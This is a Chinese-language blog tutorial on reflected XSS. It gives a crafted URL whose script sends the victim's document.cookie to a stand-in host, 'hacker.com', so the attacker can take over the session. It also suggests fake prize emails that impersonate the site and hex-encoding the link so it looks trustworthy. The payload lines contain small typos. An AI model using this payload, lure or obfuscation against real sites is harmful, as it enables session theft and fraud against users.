跨站点脚本(xss)解析(一)反射型xss漏洞

跨站点脚本(xss)即:cross  site script, 也经常存在于web程序中,它是往web页面中插入代码html语句、js语句等。如果服务器端没有对其进行过滤,当用户浏览该网页时,我们插入的代码就会在用户的浏览器中执行。
当web应用程序动态地向我们展示信息的时候,就可能存在xss漏洞。通常我们请求的url中会包含一个文本型参数,并将这个文本展现给用户。例如:https://www.yeetrack.com/search.php?showmessage=helloworld, 这样如果服务器不进行过滤,就存在xss漏洞。我们可以把helloworld改成alert(‘helloworld’),这样就会在浏览器中弹出一个helloworld消息框,如果改成 alert(document.cookie)呢,就可以获取当前用户的登陆cookie和session了。
如何利用这种xss漏洞呢,最简单的方式是一名登陆用户的会话,这样我们就可以以他的身份登陆系统了。攻击步骤:1. 用户登陆某web系统,比如www.yeetrack.com 2. 攻击者将自己设计的URL发送给用户 3.用户点击攻击者发送的URL 4.web系统对攻击者的URL做出解析 5.攻击者的代码在用户的浏览器中执行   6.用户的浏览器将用户登陆web系统的cookie和session等信息发送给攻击者 7.攻击者利用cookie和session登陆web系统。
第一步中: 用户登录系统,系统会往浏览器中写入cookie, set-cookie: sessionId=12345678966000.
第二步中:攻击者可以构造这样的URL,https://www.yeetrack.com/search.php?showmessage=<script>var+i=new+image;+i.scr="http://hacker.com/"%2bdocument.cookie;</script>, 发送给用户。
第三步中: 用户一旦点击攻击者的URL,就会向www.yeetrack.com 发送请求消息。
第四步中: hostname服务器就会解析该url,响应其中的js代码。
第五步中: 服务器把showmessage的文本发送给浏览器,浏览器就会执行文本中的js代码。
第六步中: js代码为 var i=new image; i.src="http://hacker.com/"+document.cookie; 执行这段代码,浏览器会把自己在hostname中的cookie发送给http://hacker.com,这个网址当然是由攻击者控制。
第七步中: 攻击者获得了cookie,在自己的浏览器中设置改cookie,直接访问https://www.yeetrack.com ,就会以用户的身份登陆了。
之所以要诱使用户点击攻击者发送的URL,是因为①浏览器不允许旧有脚本访问cookie,②只有设置该cookie的站点才有权限读取该cookie。而攻击者的URL中包含的js代码是通过hostname发送到浏览器中,这样就有了读取cookie的权限。
现在的问题就是怎么诱使用户点击自己发送的URL,常见的做法是冒充hostname发送电子邮件,发布调查信息或者中奖消息,首先要求用户登陆系统,然后点击链接领取奖品。这样就实施了攻击过程。另外可以给攻击者的URL编码,就更具可信性了。UTF-8编码:http://www.hostname.com/search.php?showmessage=<script>var+i=new+image;+i.scr="http://hacker.com/"%2bdocument.cookie;</script>;如果还不可信,再将其中的英文进行16进制编码:http://www.hostname.com/%73%65%61%72%63%68 %2E%70%68%70?%73%68%6F%77%6D%65%73%73%61%67%65=%3C%73%63%72%69%70%74%3Evar+i=new+image;+i.src="%68%74%74%70%3A%2F%2F%68%61%63%6B%65%72%2E%63%6F%6D%2F%22%25%32%62%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E  经过这样的编码,再加上确实是hostname的域名,可信性就很高了。
本文是由youthflies发表在易踪网上的原创文章,原文地址https://www.yeetrack.com/?p=70

跨站点脚本(xss)解析(一)反射型xss漏洞

 

跨站点脚本(xss)解析(二)保存型xss漏洞

 

跨站点脚本(xss)解析(三)利用xss漏洞

发表评论

电子邮件地址不会被公开。 必填项已用*标注

(Spamcheck Enabled)